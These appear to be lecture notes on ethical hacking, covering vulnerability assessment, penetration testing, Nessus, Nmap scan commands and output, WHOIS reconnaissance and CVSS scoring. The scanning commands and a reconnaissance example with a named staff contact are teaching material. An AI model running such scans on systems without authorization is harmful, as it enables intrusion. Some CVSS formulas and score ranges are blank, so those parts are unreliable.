Lecture 11 - Ethical Hacking - Vulnerability Assessment (VA) and Penetration Test (Pentest)
VAPT = Vulnerability Assessment + Penetration Testing
Objectives
- Describe the role of an ethical hacker
- Describe what you can do legally as an ethical hacker
- Describe what you cannot do as an ethical hacker
- Understand the process of conducting VA and PenTest
Introduction to Ethical Hacking
Related
- Ethical hackers
- Employed by companies to perform penetration tests
- Penetration test
- A legal attempt to break into a company's network to find its weakest link
- Tester only reports findings, does not solve problems
- Security test
- More than an attempt to break in; also includes analyzing the company's security policy and procedures
- Tester offers solutions to secure or protect the network
| Penetration Test | Security Test | |
|---|---|---|
| Scope | Break in, find weakest link | Break in + review policies/procedures |
| Output | Report of findings only | Findings + solutions |
Analogy: A penetration tester is like a home inspector hired to try every door and window and hand you a list of which ones open. A security tester does the same, but also reviews your house rules ("who gets a key?") and tells you which locks to buy.
The Role of Security and Penetration Testers
- Hackers
- Access a computer system or network without authorization
- Breaks the law; can go to prison
- Crackers
- Break into systems to steal or destroy data
- The U.S. Department of Justice calls both "hackers"
- Ethical hacker
- Performs most of the same activities but with the owner's permission
- Key rule:
Analogy: A locksmith opening your door because you hired them is a service. The same locksmith opening your neighbour's door without asking is a burglar. The skill is identical; permission is the entire difference.
Script Kiddies & Experienced Testers
- Script kiddies (or packet monkeys)
- Young, inexperienced hackers
- Copy code and techniques from knowledgeable hackers
- Experienced penetration testers write programs or scripts using languages such as:
- Perl (Practical Extraction and Report Language), C, C++, Python, JavaScript, Visual Basic, SQL, and many others
- Script
- A set of instructions that runs in sequence
Analogy: A script kiddie is someone who follows a recipe they found online without understanding cooking. An experienced tester is the chef who writes the recipes.
Vulnerability Assessment (VA)
- Definition: The process of finding and measuring the severity of vulnerabilities in a system
- The process of identifying, quantifying, and prioritizing (ranking) the vulnerabilities in a system
- A VA report produces lists of vulnerabilities, often called security flaws/loopholes in the system
- Final outcome: The Vulnerability Assessment Report contains a list of vulnerabilities prioritized by severity and/or business criticality
- Involves the use of penetration testing tools to discover vulnerabilities
- Reveals potential security threats
- Adopts a scanning approach, done both manually and by tools
- The report is used for the next step: penetration testing (PT)
- ⚠️ VA is usually a non-intrusive process
Analogy: VA is like a doctor's full check-up. They run tests, list everything that looks off, and rank it from "watch this" to "urgent". They don't operate on you; that's for later.

VA Lifecycle (from diagram)
- Asset discovery — Detect and manage local and remote endpoints, roaming devices, and closed-network (DMZ) machines
- Vulnerability scanning — Spot all OS vulnerabilities, third-party vulnerabilities, and zero-day vulnerabilities
- Vulnerability assessment — Understand the impact of threats and prioritize vulnerabilities based on severity, age, exploit code disclosure, patch availability, and various infographics for timely risk reduction
- (beyond the VA boundary — dashed line) Vulnerability remediation — Deploy automatically correlated patches to seal vulnerabilities, and use alternative mitigation measures if no patch is available
The dashed line shows that remediation is NOT part of VA — VA stops at assessment
Vulnerability Assessment Tools
- Nessus
- One of the most popular vulnerability scanning tools
- Commercial product; many companies want people skilled with it
- OpenVAS
- The older open-source version of Nessus, still available
- Pre-packaged with Linux distributions such as Kali Linux
- Nexpose
- Vulnerability scanner by Rapid7
- Highly capable of scanning a system for vulnerabilities with accuracy
- Plenty of open-source tools are available — try them in your virtual lab
- ⚠️ Do not choose an active target under any circumstances without authorization. Always obey the law!
Vulnerability Assessment Key Points
- VAs do not involve any steps to fix or apply patches to a system
- The objective of VA is to determine vulnerabilities and report them to the client
- The assessment must be requested and authorized by the client before it is performed
- Laws and client permission protect both the client and the security engineer from liabilities and legal backlash
OpenVAS
Related
Pros of OpenVAS
- Free, open-source vulnerability assessment tool maintained by Greenbone Networks
- CVE coverage of around 26,000
- Popular and useful among SMEs (small and medium enterprises)
- Built to be an all-in-one scanner
- The scan engine is updated on a regular basis
- Greenbone provides thorough tutorials for using the tool
Cons of OpenVAS
- Covers fewer CVEs compared to Nessus
- Less operating system supportability
- Does not offer policy management
- Website: https://www.openvas.org
Nessus

Pros of Nessus
- CVE coverage of around 47,000
- Great customer support
- Facilitates group testing
- Offers real-time visibility
- Has server-side compatibility with operating systems
- Built-in scan templates
Cons of Nessus
- Costs around $2,790/year — not viable for smaller companies
- Does not allow checking the local security policies of remote systems
- Network overload can be a drawback
- Does not offer asset tagging and risk management
Nessus — Scope & Use Cases
- Scope: Network and system-level vulnerabilities
- Use cases:
- Scanning servers (Linux, Windows, etc.)
- Detecting missing patches, misconfigurations, outdated software, weak passwords
- Identifying network service vulnerabilities (e.g., SSH, FTP, SMTP, SMB)
- Checking compliance (CIS benchmarks, PCI DSS, etc.)
- Type: Authenticated and unauthenticated scans at the infrastructure level
- Authenticated scan = the scanner logs in with credentials and looks from the inside (more accurate)
- Unauthenticated scan = scanner looks from the outside like an attacker would
- Not ideal for: Testing web application logic, input validation, or OWASP vulnerabilities
- (Use web-app scanners like Burp Suite or OWASP ZAP for those)
Analogy: Nessus is a building inspector: it checks wiring, locks, and fire codes (infrastructure). It is not the person who tests whether the shop's checkout process can be tricked into giving free items (web app logic).
OpenVAS vs. Nessus: Tabular Comparison
| Feature | OpenVAS | Nessus |
|---|---|---|
| Price | Free | $2,790/year |
| Open Source | ✅ | ❌ |
| CVE Coverage | 26K | 47K |
| OS | Lesser supportability | Has server-side compatibility |
| Assets Tagging | ✅ | ❌ |
| Policy Management | ❌ | ✅ |
Memory trick: OpenVAS = Open & OK for small budgets. Nessus = Not free but Nearly double the CVEs.
Penetration Testing
Related
- Penetration testing (Pen Testing) = testing a computer system, network, or web application to find vulnerabilities an attacker could exploit
- An authorized simulated attack on a web application, computer system, or other resources, performed to evaluate the security of the system
- PenTest is a POC (proof-of-concept) approach to actually explore and exploit vulnerabilities
- Purpose: Determine whether a detected vulnerability is genuine or not
- The pen tester manages to exploit a potentially vulnerable web application, network, or environment
- Main activities:
- Scanning the network or application and searching for security flaws
- Exploiting the security flaws
- Preparing the final report of the test
Analogy: If VA is the doctor's check-up listing "possible problems," pentesting is the specialist who actually confirms the diagnosis by running the stress test. "We think the knee is weak" becomes "we proved the knee gives out at this weight."
VA vs. Pentest

| Vulnerability Assessment only | Both (overlap) | Penetration Testing only |
|---|---|---|
| Non-intrusive | White box, gray box | Black box |
| Wide focus | Report on vulnerabilities | Intrusive |
| Starting point for testing security | Information gathering | Narrow focus |
| Mix of interviews and tools | Use of security tools | Advanced security test |
| Report on exploits | ||
| Heavy use of security tools | ||
| ![[Pasted image 20261014141817.png | center | 400]] |
Analogy: VA = walking around a castle and writing down every crack in the wall (a list). Pentest = picking one crack and actually squeezing through it to reach the treasure room (a goal).
Conclusion (VA vs. PT)
- The key difference: VA has no exploitation; PT involves actual exploitation
- Permission must be granted to carry out either or both operations
- Obey cybercrime laws and regulations at all times
- Many tools are available, but don't rely on only one tool for every situation
- To gain experience and training: research OWASP, create virtual labs, and complete the training
Why PenTest?
- Mitigate risk
- Legal and compliance
- PCI-DSS — Payment Card Industry Data Security Standard (card payments)
- HIPAA — Health Insurance Portability and Accountability Act (US healthcare data) (slide spells it "HIPPA")
- GLBA — Gramm-Leach-Bliley Act (US financial institutions)
- FISMA/NIST — Federal Information Security Management Act / National Institute of Standards and Technology (US federal systems)
- Validate/invalidate security controls
- Find and mitigate vulnerabilities
- Prevent compromise
- Make it more difficult for hackers
Types of PenTest (by Knowledge)
- Whitebox
- Greybox
- Blackbox
Internal Assessment vs. External Assessment
- Penetration testing can be performed from the viewpoint of an external attacker or a malicious employee
- External testing — mimics how an outsider might attack the system
- Internal testing — determines how much and what damage a disgruntled employee or another user with authorized access can cause
- Usually, Outside-In (attack) testing
Analogy: External testing = a burglar trying to get in from the street. Internal testing = checking what a staff member who already has a building badge could steal.

Black / White / Grey Box (from diagram)
| Box | Knowledge | Tests as… |
|---|---|---|
| Black box | Zero knowledge | Testing as Attacker |
| White box | Full knowledge | Testing as Developer |
| Grey box | Some knowledge | Testing as User with access to some data |
| Source: Core Sentinel 2017 |
Penetration-Testing Methodologies
White Box Model
- Tester is told everything about the network topology and technology
- e.g., network diagram
- Tester is authorized to interview IT personnel and company employees
- Makes the tester's job a little easier
Black Box Model
- Company staff does not know about the test
- Tester is not given details about the network
- Burden is on the tester to find these details
- Tests if security personnel are able to detect an attack
Gray Box Model
- Hybrid of the white and black box models
- Company gives the tester partial information
- ⭐ Grey-box testing is generally the best strategy for most businesses — it is the most efficient, quicker to complete, and budget-friendly

(Diagram: Test Case Input → Application [Some Knowledge] → Test Case Output)
Analogy: Testing a house's security:
- White box = you get the blueprints, alarm codes, and can interview the family.
- Black box = you're dropped outside with nothing, and the family doesn't know you're coming (tests whether they notice you).
- Grey box = you're told "there's a back gate and a dog" — enough to skip the boring parts, not enough to make it trivial.
Black-Box vs. Grey-Box vs. White-Box (Detailed)
| Black-Box (aka closed box) | Grey-Box (combination of black & white) | White-Box (aka open box) | |
|---|---|---|---|
| Goal | Mimic a true cyber attack | Assess an organization's vulnerability to insider threats | Simulate an attack where an attacker gains access to a privileged account |
| Access Level | Zero access or internal information | Some internal access and internal information | Complete open access to applications and systems |
| Pros | Most realistic | More efficient than black-box; saves time and money | More comprehensive, less likely to miss a vulnerability, and faster |
| Cons | Time consuming and more likely to miss a vulnerability | No real cons for this type of testing | More data (e.g., source code) must be released to the tester; more expensive |
- (All three: testing is performed from the point of view of an attacker)
- Ref: https://www.packetlabs.net/posts/grey-box-pentest/
Types of PenTest (by Target)
- Network
- Web
- Mobile
- Device (incl. IoT)
- Wireless
- Red Team (as opposed to Blue Team)
- Red Team = attackers simulating a real adversary
- Blue Team = defenders who detect and respond
Analogy: Red Team vs. Blue Team is like a military training exercise: one side plays the invaders, the other plays the defenders, and everyone learns from the result.
When Is the Right Time to Do Pen Testing?
- Pen testing should be done regularly
- Annual testing is now seen as outdated
- ⭐ Recommendation: make pen testing part of regular development and release processes
- If not possible in-house, providers offer pen testing as a service
- Vulnerability scans can be part of CI/CD pipelines; longer attack tests can run nightly
- Pen testing should also be done whenever changes are made to the app/network/server/system
- ⭐ Such changes include:
- Moving to a new office premise
- Releasing a patch
- Changing user policies
- Adding new infrastructure
Analogy: You don't check your smoke detectors only once a year when you've just rewired the kitchen. Any time the house changes, you test again.
PenTest Process
Related
- Pre-Engagement
- NDA (Non-Disclosure Agreement), Rules of Engagement, Contract, Documentation
- Information Gathering and Reconnaissance
- Enumeration
- Vulnerability Analysis (get from running a VA tool)
- Exploitation
- Send some code to test the vulnerability
- Post Exploitation
- Reporting
- Retest
- Rules of Engagement (RoE) = the written agreement on what may be tested, when, how, and what is off-limits
Memory trick: Please Inform Everyone Very Early — Properly Report Results (Pre-engagement, Info gathering, Enumeration, Vuln analysis, Exploitation, Post-exploitation, Reporting, Retest)

PenTest Process Flowchart (from diagram)
- Foot-printing / Reconnaissance sources: DNS, MxToolbox, WHOIS, CentralOps, Google Searches, Client Inputs
- Flow:
- Identification of targets
- → Port scanning
- → System fingerprinting
- → Identification of vulnerabilities in:
- Perimeter devices
- Operating systems
- Services
- Web servers
- → Decision: "Mandate allows exploitation?"
- Yes → Deeper network penetration; exploit all possible vulnerabilities
- No → Non-destructive exploitation of vulnerabilities
- → Result collation and report writing
Reconnaissance and Information Gathering
- Purpose: Discover as much information as possible about a target (individual or organization) without actually making network contact with the target
- Methods:
- Organization info discovery via WHOIS
- Google search
- Website browsing
Analogy: It's like researching a company before a job interview: reading their website, LinkedIn, and news — all without ever walking into their building.
Footprinting / Reconnaissance
- The technique used for gathering information about computer systems and the entities they belong to
- A hacker may use various tools and technologies
- This information is very useful to a hacker trying to crack a whole system
- During this phase, a hacker can collect:
- Domain name
- IP addresses
- Namespaces
- Employee information
- Phone numbers
- E-mails
- Job information
- Passive vs. active recon:
- Passive = no direct contact with target (WHOIS, Google, public records)
- Active = touches the target (port scans, pings) — that's the next phase
WHOIS Results for www.clemson.edu (Example)
Domain Name: CLEMSON.EDU
Registrant:
Clemson University
340 Computer Ct
Anderson, SC 29625
UNITED STATES
Administrative Contact:
Network Operations Center
Clemson University
340 Computer Court
Anderson, SC 29625
UNITED STATES
(864) 656-4634
noc@clemson.edu
Technical Contact:
Mike S. Marshall
DNS Admin
Clemson University
340 Computer Court
Anderson, SC 29625
UNITED STATES
(864) 247-5381
hubcap@clemson.edu
Name Servers:
EXTNS1.CLEMSON.EDU 130.127.255.252
EXTNS2.CLEMSON.EDU 130.127.255.253
EXTNS3.CLEMSON.EDU 192.42.3.5
- What an attacker learns: physical address, contact names (social engineering targets), email formats, phone numbers, and name server IPs (network ranges to scan next)
Network Enumeration and Scanning
- Purpose: Discover existing networks owned by a target, as well as live hosts and services running on those hosts
- Methods:
- Scanning programs that identify live hosts, open ports, services, and other info (Nmap, autoscan)
- DNS querying
- Route analysis (traceroute)

External and Internal Assessment (from diagram)
- External Assessment laptop → connects through the Internet → Router → Firewall → internal servers
- Internal Assessment laptop → plugged directly into the internal switch behind the firewall
- A web server sits off the firewall (DMZ); internal servers (database, print, file, etc.) sit behind the switch
- 📌 The firewall stands between external testers and internal servers; internal testers bypass it
Network Enumeration
-
Enumeration = the process of extracting user names, machine names, network resources, shares, and servicesfrom a system
-
The gathered information is used to identify vulnerabilities or weak points in system security, which are then exploited in the system-gaining phase
-
Enumeration extracts information about:
- Resources or shares on the network
- Network topology and architecture
- Usernames or groups assigned on the network
- Information about users and recent logon times
-
Before enumeration, you use port scanning and footprinting
- To determine the OS being used
-
⚠️ Enumeration is an intrusive process
Analogy: Footprinting = finding the building's address. Port scanning = counting which doors and windows exist. Enumeration = walking up to each door and reading the name plates: "Accounting — Jane, Bob, Shared Drive."

Network Enumeration — Nmap Output Example
Starting Nmap 5.00 ( http://nmap.org ) at 2012-11-19 17:51 IST
Interesting ports on 192.168.1.1:
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Interesting ports on 192.168.1.2:
Not shown: 997 closed ports
PORT STATE SERVICE
23/tcp open telnet
53/tcp open domain
80/tcp open http
Nmap done: 2 IP addresses (2 hosts up) scanned in 0.51 seconds
- ① Host
192.168.1.1has SSH (22) and HTTP (80) open - ② Host
192.168.1.2has Telnet (23), DNS (53), and HTTP (80) open- 🚩 Telnet is a red flag — it sends everything (including passwords) in plain text
NMAP Functions
| # | Function | Description | Example Command |
|---|---|---|---|
| 1 | Host Discovery | Identify which devices are up (alive) on a network | nmap -sn 192.168.1.0/24 |
| 2 | Port Scanning | Find which TCP/UDP ports are open or closed | nmap -p 1-65535 192.168.1.10 |
| 3 | Service Detection | Identify what services (and versions) run on open ports | nmap -sV 192.168.1.10 |
| 4 | OS Detection | Guess the target's operating system based on network behavior | nmap -O 192.168.1.10 |
| 5 | Scriptable Scanning (NSE) | Run vulnerability or info-gathering scripts using the Nmap Scripting Engine | nmap --script vuln 192.168.1.10 |
| 6 | Network Topology Mapping | Visualize the network structure using tools like Zenmap(Nmap GUI) | zenmap |
- Flag memory aid:
-sn→ scan, no ports (just ping)-p→ ports-sV→ scan Versions-O→ OS--script→ NSE scripts-T4→ timing template (faster);-F→ Fast (top 100 ports)-oX→ output as XML
/24in192.168.1.0/24= first 24 bits fixed → addresses
Analogy: Nmap is like a sonar for networks. Host discovery = "is anyone home?" Port scan = "which doors are unlocked?" Service detection = "who answers each door, and what version are they?" OS detection = "judging by the accent, they're from Windows-land."
Nmap Result

- Example (scan saved in
scan.nmap.txt, viewed in GNU nano):
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Nmap scan report for ccc-d09-macc242.net.newport.ac.uk (10.208.42.13)
Host is up, received arp-response (0.00070s latency).
Not shown: 976 closed ports, 1 filtered port
Reason: 976 resets and 1 no-response
PORT STATE SERVICE REASON VERSION
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack
445/tcp open netbios-ssn syn-ack
1025/tcp open msrpc syn-ack Microsoft Windows RPC
1026/tcp open msrpc syn-ack Microsoft Windows RPC
1027/tcp open msrpc syn-ack Microsoft Windows RPC
1028/tcp open msrpc syn-ack Microsoft Windows RPC
1216/tcp open ssl/sophos syn-ack Sophos Message Router
1218/tcp open msrpc syn-ack Microsoft Windows RPC
1247/tcp open msrpc syn-ack Microsoft Windows RPC
1801/tcp open msmq? syn-ack
1947/tcp open http syn-ack Aladdin HASP license manager 12.47
2103/tcp open msrpc syn-ack Microsoft Windows RPC
2105/tcp open msrpc syn-ack Microsoft Windows RPC
2107/tcp open msrpc syn-ack Microsoft Windows RPC
8192/tcp open sophos syn-ack Sophos Message Router (Interroper...
8193/tcp open tcpwrapped syn-ack
8194/tcp open ssl/sophos syn-ack Sophos Message Router
9535/tcp open man? syn-ack
9593/tcp open ssl/http syn-ack LANDesk/Intel Management Agent ...
9594/tcp open ssl/http syn-ack LANDesk/Intel Management Agent ...
9595/tcp open http syn-ack LANDesk/Intel Management Agent ...
33354/tcp open landesk syn-ack LANDesk Management Suite (Targete...
1 service unrecognized despite returning data. ...
- How to read it:
- STATE —
open(service listening),closed(reachable, nothing listening),filtered(firewall blocks — no response) - REASON —
syn-ackmeans the host replied to the SYN probe → port open;reset→ closed;no-response→ filtered - VERSION — exact software/version → used to look up CVEs
- TCP Sequence Prediction: Difficulty=256 (Good luck!) — sequence numbers are hard to guess → TCP hijacking is hard
- STATE —
NMAP Scan Result Interpretation (Zenmap GUI)
- Command used:
nmap -T4 -F 192.168.5.102(Profile: Quick scan)
Nmap Output Tab

- Displayed by default when a scan is run
- Results shown in the familiar Nmap terminal output
- Output is highlighted — e.g., open and closed ports displayed in different colors
- Example result:
2016-03-05 21:17 CET
Nmap scan report for 192.168.5.102
Host is up (1.6s latency).
Not shown: 84 closed ports
PORT STATE SERVICE
21/tcp open ftp
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
111/tcp open rpcbind
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
514/tcp filtered shell
2049/tcp open nfs
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49157/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 5.73 seconds
- 📌 Kerberos (88) + LDAP (389) + SMB (445) together suggest a Windows domain controller
Ports/Hosts Tab

- Display differs depending on whether a host or a service is selected
- Host selected → shows all the interesting ports on that host
- Service selected → shows all the hosts which have that port open or filtered
Topology Tab

- Displays an interactive view of the connections between hosts in a network
- (Example:
localhost→192.168.5.102; buttons: Hosts Viewer, Fisheye, Controls, Save Graphic)
Host Details Tab

- Displays information about a target host, such as:
- Hostnames and addresses
- Its state (up or down)
- Number and status of scanned ports, etc.
- Example values:
- State: up
- Open ports: 22, Filtered ports: 1, Closed ports: 84, Scanned ports: 107
- Up time / Last boot: Not available
- IPv4:
192.168.5.102; IPv6 / MAC: Not available - OS: Microsoft Windows 7 or Windows Server 2012 — Accuracy 100%
- Check: ✓
Scans Tab

- Shows the scan that was used
- e.g., Status: Unsaved, Command:
nmap -T4 -F 192.168.5.102 - Buttons: Append Scan, Remove Scan, Cancel Scan
Core/Common Services (Ports)
| Port | Proto | Service / Meaning |
|---|---|---|
| 20 | TCP | FTP data (active FTP data channel) |
| 21 | TCP | FTP control (commands) |
| 22 | TCP | SSH (Secure Shell — remote login/management, SCP/SFTP) |
| 23 | TCP | Telnet (insecure remote login — avoid on production) |
| 25 | TCP | SMTP (email delivery between servers) |
| 53 | UDP/TCP | DNS (name resolution; UDP for queries, TCP for zone transfers / large responses) |
| 67 | UDP | DHCP server (IPv4 boot/lease) |
| 68 | UDP | DHCP client (IPv4) |
| 69 | UDP | TFTP (Trivial FTP — used for network boot) |
| 80 | TCP | HTTP (web traffic) |
| 88 | TCP/UDP | Kerberos (auth protocol) |
| 110 | TCP | POP3 (email retrieval) |
| 123 | UDP | NTP (Network Time Protocol) |
| 137–139 | UDP/TCP | NetBIOS name/session/data (legacy Windows file/printer sharing) |
| 143 | TCP | IMAP (email retrieval) |
| 161/162 | UDP | SNMP (management: 161 agent, 162 trap) |
| 389 | TCP/UDP | LDAP (directory services) |
| 443 | TCP | HTTPS (HTTP over TLS) |
| 445 | TCP | Microsoft-DS (SMB over TCP — file sharing, Windows domain services) |
| 465 | TCP | SMTPS (SMTP over SSL, legacy) |
| 514 | UDP | syslog (remote logging; often switched to TCP/relp/syslog-ng) |
| 546/547 | UDP | DHCPv6 client/server |
| 587 | TCP | SMTP (mail submission / authenticated SMTP) |
Web / Application Ecosystem (Common)
| Port | Proto | Service |
|---|---|---|
| 80 | TCP | HTTP |
| 443 | TCP | HTTPS |
| 8080 | TCP | HTTP-alt (apps, proxies, dev servers) |
| 8000 | TCP | Common dev web server port (Django, etc.) |
| 8443 | TCP | HTTPS-alt (admin consoles) |
| 3000 | TCP | Dev / Node apps (Express, React dev servers) |
| 9200 | TCP | Elasticsearch (HTTP API) |
| 9300 | TCP | Elasticsearch cluster (transport) |
| 5601 | TCP | Kibana (web UI for Elasticsearch) |
Vulnerability Analysis

- Example: Nessus report for host
w2003(completed Oct 21, 2012) — Vulnerability Summary
| Plugin ID | Count | Severity | Name | Family |
|---|---|---|---|---|
| 60085 | 2 | Critical | PHP 5.3.x < 5.3.15 Multiple Vulnerabilities | CGI abuses |
| 11808 | 1 | Critical | MS03-026: Microsoft RPC Interface Buffer Overrun (823980) | Windows |
| 11835 | 1 | Critical | MS03-039: Microsoft RPC Interface Buffer Overrun (824146) | Windows |
| 12054 | 1 | Critical | MS04-007: ASN.1 Vulnerability Could Allow Code Execution (828028) | Windows |
| 12209 | 1 | Critical | MS04-011: Security Update for Microsoft Windows (835732) | Windows |
| 22194 | 1 | Critical | MS06-040: Vulnerability in Server Service Could Allow Remote Code Execution | Windows |
| 34477 | 1 | Critical | MS08-067: Microsoft Windows Server Service Crafted RPC Request Handling (circled) | Windows |
| 35362 | 1 | Critical | MS09-001: Microsoft Windows SMB Vulnerabilities Remote Code Execution | Windows |
| 52717 | 2 | High | PHP 5.3 < 5.3.6 Multiple Vulnerabilities | CGI abuses |
| 55925 | 2 | High | PHP 5.3 < 5.3.7 Multiple Vulnerabilities | CGI abuses |
| 57537 | 2 | High | PHP < 5.3.9 Multiple Vulnerabilities | CGI abuses |
| 58966 | 2 | High | PHP < 5.3.11 Multiple Vulnerabilities | CGI abuses |
| 58988 | 2 | High | PHP < 5.3.12 / 5.4.2 CGI Query String Code Execution | CGI abuses |
- MS08-067 is circled — a famous remote code execution flaw (the one exploited by the Conficker worm) → a prime candidate for the exploitation phase
Vulnerability Testing and Exploitation
- Purpose: Check hosts for known vulnerabilities, see if they are exploitable, and assess the potential severity
- Methods:
- Remote vulnerability scanning (Nessus, OpenVAS)
- Active exploitation testing
- Login checking and bruteforcing
- Vulnerability exploitation (Metasploit, Core Impact)
- 0day and exploit discovery (Fuzzing, program analysis)
- Post-exploitation techniques to assess severity (permission levels, backdoors, rootkits, etc.)
- Fuzzing = throwing huge amounts of random/malformed input at a program to see what makes it crash
- 0day (zero-day) = a vulnerability unknown to the vendor, so there are "zero days" of patch available
CVSS, CVE, NVD
- CVSS — Common Vulnerability Scoring System
- Widely used in vulnerability management programs
- Indicates the severity of an information security vulnerability
- An integral component of many vulnerability scanning tools
- CVE — Common Vulnerabilities and Exposures
- A list of publicly disclosed vulnerabilities and exposures, maintained by MITRE
- NVD — National Vulnerability Database
- A database maintained by NIST, fully synchronized with the MITRE CVE list
Analogy: Think of a library.
- CVE = the catalogue number on each book (unique ID).
- NVD = the library's database that stores extra details for each catalogue number.
- CVSS = the "danger rating" sticker on the spine.
CVE (Common Vulnerabilities and Exposures)
- A list of publicly disclosed vulnerabilities and exposures maintained by MITRE
- CVE numbers look like:
- →
yyyy= year,nnnn= sequence number - Scope for millions of vulnerabilities (the sequence part can be 4 or more digits, e.g.,
CVE-2021-44228)
- →
- Vendors include as much information as possible in each CVE record, e.g.:
- CVE number
- Description of vulnerability
- Severity
- References to other CVE records (also known as supersession)
- Change history
- Publish date
CVSS — Common Vulnerability Scoring System
Related
- An open framework for communicating the characteristics and severity of software vulnerabilities
- CVSS consists of three metric groups:
- Base
- Temporal
- Environmental
- The Base metrics produce a score from 0 to 10, which can then be modified by scoring the Temporal and Environmental metrics
Defining CVSS Scores

| Base Metric Group — Exploitability | Base Metric Group — Impact | Temporal Metric Group | Environmental Metric Group |
|---|---|---|---|
| Attack Vector | Confidentiality Impact | Exploit Code Maturity | Confidentiality Requirement |
| Attack Complexity | Integrity Impact | Remediation Level | Integrity Requirement |
| Privileges Required | Availability Impact | Report Confidence | Availability Requirement |
| User Interaction | Scope | Modified Base Metrics | |
| Scope |
- If a new patch is made available by the vendor → the Temporal score goes down
- If adversaries create and distribute easy-to-use exploit code → the Temporal score goes up
- The metric group that shows how severity changes due to specific aspects of an organization is the Environmental Metric group
Base Metrics
| Metric | Description | Values |
|---|---|---|
| Attack Vector (AV) | How the vulnerability is exploited | Network (N), Adjacent (A), Local (L), Physical (P) |
| Attack Complexity (AC) | Difficulty of exploiting | Low (L) or High (H) |
| Privileges Required (PR) | Level of privilege needed before exploiting | None (N), Low (L), High (H) |
| User Interaction (UI) | Whether user interaction is required | None (N), Required (R) |
| Scope (S) | Whether the exploit affects components beyond its scope | Unchanged (U), Changed (C) |
| Confidentiality (C) | Data confidentiality impact | None (N), Low (L), High (H) |
| Integrity (I) | Data integrity impact | None (N), Low (L), High (H) |
| Availability (A) | Service availability impact | None (N), Low (L), High (H) |
- Worst case (highest score): AV:N, AC:L, PR:N, UI:N, S:C, C:H, I:H, A:H
- Attack Vector order (most → least dangerous):
- Network = over the Internet; Adjacent = same local network/Bluetooth; Local = need a local session; Physical= must touch the device
- Scope Changed = the attack breaks out of the vulnerable component and affects others (e.g., escaping a VM/sandbox)
Analogy: Rating how dangerous a broken lock is:
- AV = can someone reach it from the street (Network) or must they be inside the room (Physical)?
- AC = does it pop open easily, or need special tools?
- PR = do you need a key card first?
- UI = does someone inside need to open the door for you?
- Scope = once through, can you get into the other rooms too?
- C/I/A = can you read the files, change them, or lock everyone out?
Key Principle
- Only Temporal (time) and Environmental (organization) scores change
Temporal Metrics
- Reflect characteristics that change over time, such as exploit availability
| Metric | Description | Values |
|---|---|---|
| Exploit Code Maturity (E) | How available and functionalexploit code is | Not Defined (X), Unproven (U), Proof-of-Concept (P), Functional (F), High (H) |
| Remediation Level (RL) | How available fixes or workarounds are | Official Fix (O), Temporary Fix (T), Workaround (W), Unavailable (U) |
| Report Confidence (RC) | Confidence in the accuracy of the report | Unknown (U), Reasonable (R), Confirmed (C) |
Analogy: Temporal is like a weather warning that changes during the day. A storm is a storm (Base), but the warning level drops once shelters open (patch released) and rises if the storm gets stronger (exploit published).
Environmental Metrics
- Capture the context of the organization — how important the affected system is in that environment
| Metric | Description | Values |
|---|---|---|
| Security Requirements (CR, IR, AR) | Importance of Confidentiality, Integrity, Availability | Low (L), Medium (M), High (H) |
| Modified Base Metrics | Adjust base metrics to reflect the local environment | e.g., Modified Attack Vector (MAV) |
- CR = Confidentiality Requirement, IR = Integrity Requirement, AR = Availability Requirement
- MAV example: a vuln rated AV:Network might become MAV:Local if that server isn't reachable from the Internet in your network
Scoring System (Severity Ratings)
| Score | Rating | Severity |
|---|---|---|
| None | No impact | |
| Low | Minor impact | |
| Medium | Moderate impact | |
| High | Serious impact | |
| Critical | Severe / full compromise |
CVSS Versions
| Version | Year | Notes |
|---|---|---|
| CVSS v2.0 | 2007 | Simplified, widely used historically |
| CVSS v3.0 | 2015 | Added Scope, Privileges Required, User Interaction |
| CVSS v3.1 | 2019 | Clarified metric definitions |
| CVSS v4.0 | 2023 | Added new metrics (Safety, Automatable, Recovery, Value Density) for IoT/OT contexts |
| Note: in CVSS v4.0, the "Temporal" group was renamed Threat metrics |
How CVSS Scoring Works Conceptually
1. Base Metrics → produce a Base Score (0–10)
- Represents the intrinsic severity of the vulnerability (independent of time or environment)
- Calculated using the Base formula (involving exploitability and impact sub-scores)
2. Temporal Metrics → adjust the Base Score
-
Reflect the current exploitability (e.g., is exploit code available?)
-
Output is called the Temporal Score
-
Formula:
-
where = Exploit Code Maturity, = Remediation Level, = Report Confidence
-
Each is a multiplier , so the score goes down slightly (or stays the same if "Not Defined" )
3. Environmental Metrics → adapt the Temporal Score
- Reflect your organization's environment and priorities (e.g., data sensitivity)
- Produces the Environmental Score (final CVSS)
- Formula:
- These modify the confidentiality, integrity, availability weights depending on how important each is to your organization
round_up= round up to one decimal place (e.g., 4.02 → 4.1)
Summary Flow
Analogy: Pricing a house.
- Base = the house itself (size, structure) — doesn't change.
- Temporal = current market conditions (a new mall opened nearby, interest rates changed).
- Environmental = what it's worth to you (close to your job? need 4 bedrooms?).
CVSS Scoring Example: Remote Code Execution
- CVSS v3.1 example — understanding the Base Score
- Scenario: An Internet-facing web server allows remote code execution without authentication or user interaction

| Metric | Value | Meaning |
|---|---|---|
| AV | Network | Attackable remotely over the Internet |
| AC | Low | No special conditions are required |
| PR | None | The attacker does not need an account |
| UI | None | No victim action is required |
| C | High | Sensitive information can be disclosed |
| I | High | Data or system state can be modified |
| A | High | The service can be disrupted |
- Vector:
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Base Score asks: "How severe is the vulnerability itself?"
- Key idea: Base metrics describe intrinsic technical severity — independent of your organization
From Base Severity to Organizational Context

- The same vulnerability can have different operational priority
| Step | Question | Considers |
|---|---|---|
| 1. BASE | How severe is it? | Intrinsic technical characteristics |
| 2. TEMPORAL | What is happening now? | Exploit maturity, remediation, confidence |
| 3. ENVIRONMENTAL | How important is it here? | Your assets, requirements, and environment |
Example: same vulnerable software on two systems
| Context | Public Test Server | Hospital Database Server |
|---|---|---|
| Sensitive data | Low | Very High |
| Availability need | Low | Critical |
| Business impact | Limited | Severe |
